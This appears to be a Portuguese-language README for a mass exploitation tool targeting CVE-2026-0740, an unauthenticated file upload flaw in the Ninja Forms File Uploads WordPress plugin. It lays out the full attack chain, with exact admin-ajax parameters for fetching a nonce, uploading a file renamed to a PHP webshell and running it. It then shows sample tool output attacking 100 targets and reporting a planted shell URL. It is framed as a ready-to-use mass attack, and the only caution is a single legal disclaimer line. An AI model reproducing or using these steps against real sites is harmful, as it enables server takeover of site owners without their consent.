
Explorador automatizado em massa para CVE-2026-0740, um upload arbitrário de arquivos não autenticado no plugin Ninja Forms File Uploads, permitindo execução remota de código por meio de uploads elaborados.
O plugin Ninja Forms - File Uploads para WordPress é vulnerável a upload de arquivo arbitrário não autenticado devido à falta de validação do tipo de arquivo e à ausência de verificações de capacidade na função 'NF_FU_AJAX_Controllers_Uploads::handle_upload' em todas as versões até, e incluindo, 3.3.26
Esta falha permite que atacantes não autenticados:
~ Pontuação CVSS: 9.8 (Crítico)
~ Versões Afetadas: <= 3.3.26
Passo 1: Obter Nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
Dados: action=nf_fu_get_new_nonce&field_id=7&form_id=7
Resposta: {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
Passo 2: Enviar Arquivo Disfarçado + Renomear para PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
Dados:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (extensão permitida)
- doc_pdf=shadow.php (destino da renomeação)
│
▼
Passo 3: O Servidor Armazena o Arquivo Malicioso
─────────────────────────────────────
Localização: /wp-content/uploads/ninja-forms/tmp/shadow.php
Conteúdo: Shell PHP (uploader / webshell)
│
▼
Passo 4: Executar o arquivo enviado
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ Executar webshell
→ Assunção total do servidor
- Conclusões dos experimentos de campo:
1. O endpoint `nf_fu_get_new_nonce` retorna um nonce válido sem verificar a existência do campo
→ Nenhuma validação dos parâmetros `field_id` e `form_id` (QUALQUER ID aleatório funciona)
2. Falha lógica crítica na funcionalidade de renomeação
→ O plugin aceita o nome de arquivo fornecido pelo usuário via parâmetro POST
→ Nenhuma validação da extensão final do arquivo após a renomeação
3. O arquivo enviado cai diretamente em um diretório acessível pela web
→ /wp-content/uploads/ninja-forms/tmp/
4. O dono desta ferramenta é muito bonito
˚⊱🪷⊰˚ EXPLORADOR EM MASSA NINJA FORMS ˚⊱🪷⊰˚
╰┈➤ Exibição completa da resposta
[+] 100 alvos carregados
[1/100]
😈 [PESQUISADOR FRISKA] Ataque em: https://example.com
[*] Obtendo nonce...
[*] Status HTTP: 400
[*] Resposta: 0
[-] Erro HTTP: 400
[2/100]
😈 [PESQUISADOR FRISKA] Ataque em: https://www.test.com
[*] Obtendo nonce...
[*] Status HTTP: 200
[*] Resposta: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] Enviando shell...
[*] Resposta do upload: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 UPLOADER DE SHELL: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
O uso não autorizado de sistemas que você não possui ou para os quais não tem permissão de teste é ilegal.